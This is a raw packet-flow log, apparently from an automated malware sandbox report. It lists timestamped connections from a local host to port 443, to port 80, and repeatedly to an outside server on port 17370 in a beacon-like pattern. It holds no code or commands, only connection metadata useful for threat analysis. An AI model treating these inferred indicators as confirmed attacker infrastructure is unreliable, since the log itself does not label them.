Oct 8, 2024 02:39:18.762012005 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.762028933 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.762078047 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.766151905 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.766221046 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.766272068 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.766287088 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.766328096 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.766556978 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.766602993 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.766643047 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.766659021 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.766690016 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.766690969 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.766815901 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.766832113 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.767003059 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.767055988 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.767096043 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.767111063 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.767147064 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.767184973 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.767544031 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.767587900 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.767630100 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.767643929 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.767682076 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.770819902 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.805494070 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.805532932 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.805686951 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.805748940 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.805802107 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.806957006 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.844886065 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.844940901 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.845112085 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.845174074 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.845225096 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.846810102 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.847367048 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.847424030 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.847578049 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.847640038 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.847692013 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.848413944 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.848459005 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.848462105 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.848484993 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.848515034 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.848515034 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.850549936 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.852458000 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.852498055 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.852545023 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.852560997 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.852596045 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.852901936 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.852946997 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.852950096 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.852971077 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.852988005 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.853012085 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.853277922 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.853316069 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.853326082 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.853342056 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.853379965 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.853380919 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.853816986 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.853859901 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.853863001 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.853885889 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.853907108 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.853929996 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.854806900 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.874295950 CEST	49740	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:18.879425049 CEST	17370	49740	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:18.879606009 CEST	49740	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:18.884522915 CEST	17370	49740	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:18.891338110 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.891376972 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.891551971 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.891551971 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.891622066 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.894896030 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.931452036 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.931493998 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.931662083 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.931662083 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.931726933 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.931782007 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.933609009 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.933650970 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.933692932 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.933713913 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.933742046 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.933763981 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.934581995 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.934622049 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.934685946 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.934686899 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.934751987 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.934806108 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.938993931 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.939033031 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.939078093 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.939094067 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.939125061 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.939146996 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.939987898 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.940030098 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.940157890 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.940157890 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.940222979 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.940277100 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.940386057 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.940426111 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.940450907 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.940465927 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.940498114 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.940521002 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.942990065 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.943030119 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.943067074 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.943079948 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.943110943 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.943134069 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.200073004 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.200119019 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.200279951 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.200279951 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.200345993 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.200419903 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.201544046 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.201606989 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.202141047 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.202203989 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.202208042 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.202234030 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.202264071 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.202286959 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.202743053 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.202785969 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.202814102 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.202826023 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.202855110 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.202877045 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.203037977 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.203079939 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.203103065 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.203114986 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.203145981 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.203167915 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.203316927 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.203358889 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.203382015 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.203423023 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.203476906 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.203476906 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.203524113 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.203577042 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.203592062 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.203604937 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.203636885 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.203658104 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.204320908 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.204365015 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.204384089 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.204396963 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.204426050 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.204447985 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.204507113 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.204546928 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.204571962 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.204583883 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.204616070 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.204636097 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.205451012 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.205491066 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.205521107 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.205533028 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.205564976 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.205585957 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.205904007 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.205941916 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.205987930 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.206000090 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.206028938 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.206049919 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.206141949 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.206182957 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.206206083 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.206218004 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.206252098 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.206273079 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.206562996 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.206602097 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.206629992 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.206644058 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.206674099 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.206696987 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.206696987 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.206724882 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.206753969 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.206883907 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:19.206938028 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.218363047 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:19.283112049 CEST	17370	49740	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:19.332372904 CEST	49740	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:19.455719948 CEST	17370	49740	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:19.456392050 CEST	49740	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:19.461639881 CEST	17370	49740	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:19.461683035 CEST	49740	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:19.567255020 CEST	49742	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:19.572453976 CEST	17370	49742	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:19.572534084 CEST	49742	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:19.605523109 CEST	49742	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:19.610763073 CEST	17370	49742	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:19.610840082 CEST	49742	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:19.615801096 CEST	17370	49742	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:20.299886942 CEST	17370	49742	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:20.350970984 CEST	49742	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:20.480948925 CEST	17370	49742	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:20.482975006 CEST	49742	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:20.489820957 CEST	17370	49742	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:20.490037918 CEST	49742	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:20.598839998 CEST	64009	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:20.603852034 CEST	17370	64009	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:20.603946924 CEST	64009	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:20.835488081 CEST	64009	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:20.840622902 CEST	17370	64009	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:20.840697050 CEST	64009	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:20.845716000 CEST	17370	64009	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:21.353362083 CEST	17370	64009	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:21.394902945 CEST	64009	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:21.644889116 CEST	17370	64009	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:21.648607969 CEST	64009	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:21.653902054 CEST	17370	64009	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:21.654856920 CEST	64009	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:21.816999912 CEST	64010	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:21.822355032 CEST	17370	64010	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:21.822515965 CEST	64010	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:21.841237068 CEST	64010	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:21.846246958 CEST	17370	64010	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:21.846867085 CEST	64010	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:21.851789951 CEST	17370	64010	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:22.540612936 CEST	17370	64010	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:22.598187923 CEST	64010	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:22.713963985 CEST	17370	64010	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:22.714633942 CEST	64010	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:22.719832897 CEST	17370	64010	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:22.719923973 CEST	64010	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:22.832837105 CEST	64011	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:22.837964058 CEST	17370	64011	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:22.838080883 CEST	64011	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:22.874371052 CEST	64011	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:22.879192114 CEST	17370	64011	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:22.879280090 CEST	64011	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:22.884058952 CEST	17370	64011	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:23.560148954 CEST	17370	64011	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:23.613693953 CEST	64011	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:23.696233034 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:39:23.701595068 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:39:23.701698065 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:39:23.701921940 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:39:23.706913948 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:39:23.742230892 CEST	17370	64011	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:23.742814064 CEST	64011	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:23.748102903 CEST	17370	64011	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:23.748178959 CEST	64011	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:23.848867893 CEST	64013	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:23.855307102 CEST	17370	64013	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:23.855432987 CEST	64013	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:23.888262033 CEST	64013	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:23.894520998 CEST	17370	64013	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:23.894589901 CEST	64013	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:23.900943995 CEST	17370	64013	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:24.197259903 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:39:24.238923073 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:39:24.591950893 CEST	17370	64013	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:24.592051029 CEST	64013	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:24.592171907 CEST	64013	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:24.597114086 CEST	17370	64013	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:24.707698107 CEST	64014	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:24.713651896 CEST	17370	64014	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:24.713799953 CEST	64014	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:24.724793911 CEST	64014	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:24.730061054 CEST	17370	64014	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:24.730138063 CEST	64014	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:24.735207081 CEST	17370	64014	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:25.530036926 CEST	17370	64014	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:25.531014919 CEST	64014	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:25.534848928 CEST	64014	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:25.539763927 CEST	17370	64014	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:25.645260096 CEST	64015	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:25.650876999 CEST	17370	64015	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:25.654895067 CEST	64015	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:25.667478085 CEST	64015	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:25.672698021 CEST	17370	64015	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:25.674875021 CEST	64015	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:25.679737091 CEST	17370	64015	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:26.388349056 CEST	17370	64015	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:26.388540983 CEST	64015	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:26.388632059 CEST	64015	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:26.393564939 CEST	17370	64015	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:26.506392002 CEST	64016	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:26.511504889 CEST	17370	64016	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:26.511712074 CEST	64016	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:26.618283033 CEST	64016	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:26.623240948 CEST	17370	64016	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:26.623451948 CEST	64016	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:26.628423929 CEST	17370	64016	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:26.973784924 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:39:27.020073891 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:39:27.265379906 CEST	17370	64016	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:27.265575886 CEST	64016	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:27.265575886 CEST	64016	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:27.270612955 CEST	17370	64016	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:27.379628897 CEST	64017	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:27.384906054 CEST	17370	64017	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:27.384991884 CEST	64017	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:27.416021109 CEST	64017	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:27.421076059 CEST	17370	64017	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:27.421246052 CEST	64017	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:27.426120043 CEST	17370	64017	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:28.100218058 CEST	17370	64017	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:28.100322008 CEST	64017	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:28.100439072 CEST	64017	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:28.105303049 CEST	17370	64017	213.152.162.15	192.168.2.4
